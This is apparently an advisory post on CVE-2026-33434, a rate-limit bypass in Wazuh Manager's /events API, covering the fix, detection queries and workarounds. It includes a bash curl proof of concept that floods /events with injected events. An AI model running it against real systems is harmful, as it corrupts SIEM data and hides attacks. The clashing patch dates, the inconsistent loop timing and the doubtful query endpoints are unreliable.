Listen to this Post
CVE-2026-33434 is a logic flaw in the Wazuh Manager API that allows an authenticated attacker to bypass the globally configured rate limit for event ingestion. Wazuh is a widely deployed open-source SIEM platform used for threat detection, compliance monitoring, and incident response. The vulnerability resides in the `CheckRateLimitsMiddleware.dispatch()` function, implemented in `api/api/middlewares.py` of the Wazuh Manager component.
The middleware is responsible for enforcing two distinct rate limits: a global limit defined by the administrator via configuration.api_conf['access']['max_request_per_minute'], and a separate, hardcoded limit of 30 requests per minute specifically for the `/events` endpoint. The intended behavior is that requests to `/events` should be subject to both limits, with the more restrictive one taking precedence. However, a coding error in the dispatch logic causes the events‑specific check to unconditionally overwrite the result of the global check.
When a request arrives at the `/events` endpoint, the middleware first invokes `check_rate_limit()` against the global counter (general_request_counter) using the admin‑configured threshold. If the global limit is exceeded, this call returns an error code (6001) indicating that the request should be rejected. The code then proceeds to a conditional branch that checks if request.url.path == '/events'. Inside this branch, it calls `check_rate_limit()` again, this time against the events‑specific counter with the hardcoded value MAX_REQUESTS_EVENTS_DEFAULT = 30. Critically, the return value from this second call is assigned directly to the `error_code` variable, overwriting the global limit error code.
As a result, as long as the events‑specific counter has not reached 30 requests per minute, the second call returns 0 (success), and `error_code` becomes 0. The request is then allowed to proceed into the backend `analysisd` engine, even though the global rate limit has already been exhausted. This effectively nullifies the administrator’s configured global throttle for the `/events` endpoint, enabling sustained event injection beyond the intended capacity.
The vulnerability affects all Wazuh Manager versions from 4.6.0 up to, but not including, 4.14.5. It was addressed in version 4.14.5 through two key changes: (1) the conditional branch for `/events` was modified to execute only if `error_code` is already 0 (i.e., the global check passed), and (2) the events‑specific limit was capped to min(max_request_per_minute, MAX_REQUESTS_EVENTS_DEFAULT), ensuring it never exceeds the global threshold. The fix was merged via pull request 35077 and committed as 254d1908220dc46207c33311e417a534db4fc4f0.
DailyCVE Form
Platform: Wazuh Manager
Version: 4.6.0–4.14.4
Vulnerability: Rate limit bypass
Severity: High (CVSS 7.1)
Date: 2026‑07‑16
Prediction: Patch expected 2026‑04‑23
What Undercode Say
Analytics & Detection
Administrators can monitor for exploitation attempts by tracking the ratio of `/events` requests to global rate‑limit rejections. A sudden spike in `/events` traffic after the global limit has been exceeded is a strong indicator of abuse. The following Wazuh API query can be used to check current rate‑limit counters:
Query the current rate limit status for the general and events counters curl -k -u <user>:<password> \ "https://<WAZUH_MANAGER>:55000/manager/api/rate-limit?counter=general_request_counter" curl -k -u <user>:<password> \ "https://<WAZUH_MANAGER>:55000/manager/api/rate-limit?counter=events_request_counter"
To detect anomalies in Wazuh logs, use the following `grep` pattern on the manager logs:
Look for repeated /events requests that bypassed global limits
grep -E "ERROR.6001./events|REJECTED./events" /var/ossec/logs/api.log | \
awk '{print $1, $2, $9, $10}' | sort | uniq -c | sort -nr
For real‑time alerting, deploy a custom Wazuh rule that triggers when the number of `/events` requests exceeds 80% of the global limit within a sliding window:
<rule id="100010" level="10"> <if_sid>100000</if_sid> <field name="api.endpoint">/events</field> <field name="api.rate_limit_exceeded">yes</field> <description>Possible CVE-2026-33434 exploitation – /events rate limit bypass detected</description> </rule>
Exploit
An attacker with valid API credentials (low privilege is sufficient, as the flaw is in the middleware, not in authorization) can exploit this vulnerability by sending a sustained stream of POST requests to the `/events` endpoint. The attack works as follows:
1. Trigger global exhaustion – Send enough requests to any endpoint (e.g., /agents) to exhaust the global `max_request_per_minute` counter.
2. Bypass via /events – Once the global limit is exceeded, continue sending requests to /events. The middleware will reject the global check (error 6001) but then overwrite it with the events‑specific check (hardcoded 30/min). As long as the events counter is below 30, the requests are accepted.
3. Re‑inject events – Each successful request injects a new event into analysisd, potentially overwhelming the analysis engine, causing performance degradation, or masking malicious activity by flooding the system with benign events.
A simple proof‑of‑concept using `curl` in a loop:
!/bin/bash
Exploit PoC for CVE-2026-33434
First, exhaust the global limit by calling a different endpoint
for i in {1..100}; do
curl -k -u <user>:<password> \
"https://<WAZUH_MANAGER>:55000/agents?offset=0&limit=1" > /dev/null 2>&1
done
Now send events to /events – these will bypass the global limit
while true; do
curl -k -u <user>:<password> -X POST \
"https://<WAZUH_MANAGER>:55000/events" \
-H "Content-Type: application/json" \
-d '{"event": {"data": "malicious_payload"}}'
sleep 1
done
The above script will continue sending events even after the global limit is exhausted, as long as the `/events` counter stays under 30 per minute.
Protection
The definitive fix is to upgrade to Wazuh Manager version 4.14.5 or later. The patch introduces two safeguards:
– The `/events` branch now executes only if `error_code == 0` (i.e., global limit check passed).
– The events‑specific limit is capped at min(max_request_per_minute, 30), ensuring it never exceeds the administrator’s configured global value.
For environments where an immediate upgrade is not feasible, apply the following workaround:
1. Temporarily disable the `/events` endpoint (if not required) by adding a firewall rule or reverse‑proxy configuration that blocks POST requests to /events.
2. Reduce the global `max_request_per_minute` to a very low value (e.g., 5) to minimize the impact of a bypass, though this will affect all API endpoints.
3. Monitor and alert on abnormal `/events` traffic using the detection queries provided above.
Additionally, consider restricting API access to trusted IP ranges and using mutual TLS (mTLS) for client authentication to reduce the attack surface.
Impact
Integrity (High) – An attacker can inject arbitrary events into analysisd, potentially inserting false positives, hiding real attacks, or corrupting the security data pipeline. This undermines the integrity of the threat detection and alerting system.
Availability (Low) – Sustained event injection can overwhelm analysisd, leading to increased CPU/memory usage, delayed log processing, or even a denial‑of‑service condition for the analysis engine.
Confidentiality (None) – This vulnerability does not directly expose sensitive data; it only allows event injection.
CVSS Score – 7.1 (High) per NIST (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L). The attack vector is network‑accessible, requires low privileges, and no user interaction. The impact on integrity is high, while availability is low.
Business Impact – Security operations teams may lose trust in the SIEM’s event data, leading to missed detections, wasted investigation time, and potential regulatory compliance issues if log integrity cannot be guaranteed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
